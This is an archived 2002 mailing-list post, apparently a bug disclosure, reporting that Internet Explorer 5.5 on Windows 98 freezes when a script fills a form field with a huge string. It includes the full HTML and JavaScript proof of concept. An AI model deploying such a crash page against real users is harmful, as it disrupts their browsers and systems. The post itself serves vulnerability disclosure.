IE FORM DOS

From: Ivan Sergio Borgonovo (mailat_private)
Date: Mon Jan 14 2002 - 16:11:10 PST

  • Next message: bugzillaat_private: "[RHSA-2002:005-09] Updated xchat packages are available"

    I was testing in a lame way if an IIS apps could be attacked by sending 
    long POST and I realized IE is sensible to huge ammount of data in 
    <INPUT... > and <TEXTAREA> fields (maybe also others like SELECT).
    
    Since nobody is willing to download a 10Mb page I just thought I could 
    fill VALUE="" attribute with JavaScript.
    
    -- begin test.html --
    
    <html><title></title>
    <body>
    
    <script language="JavaScript" src="t.js"></script>
    
    <FORM NAME="IEDos" METHOD="POST" ACTION="./">
    
    
    <IMG SRC="1.gif" width='10' height='10' border='0'
        onLoad="FillTA(TA)">
    <input type="text" name="TA" value="">
    
    
    </FORM>
    
    </body>
    </html>
    
    -- end test.html --
    
    
    -- begin t.js --
    <!--
    
    function FillTA(obj) {
        v="a";
        for(i=0;i<100000000;i++) {
            v=v+v;
        };
         obj.value=v;
        return;
    }
    
    //-->
    
    -- begin t.js --
    
    
    IE freezes and if you've few secs of patience the system freezes too.
    
    IE 5.5 on W98 (I hope fully patched).
    
    commenting obj.value=v IE survives.
    
    I've observed some protection errors too but occasional.
    
    
    
    I hope this is not an old news.
    
    
    
    
    
    -- 
    Ivan Sergio Borgonovo
    Webmaster Gorilla.it http://www.gorilla.it
    Tel. +39 02 26149225/26149008 Fax. +39 02 26149657
    Via d'Apulia 11, 20125 Milano, Italy
    



    This archive was generated by hypermail 2b30 : Wed Jan 16 2002 - 00:04:03 PST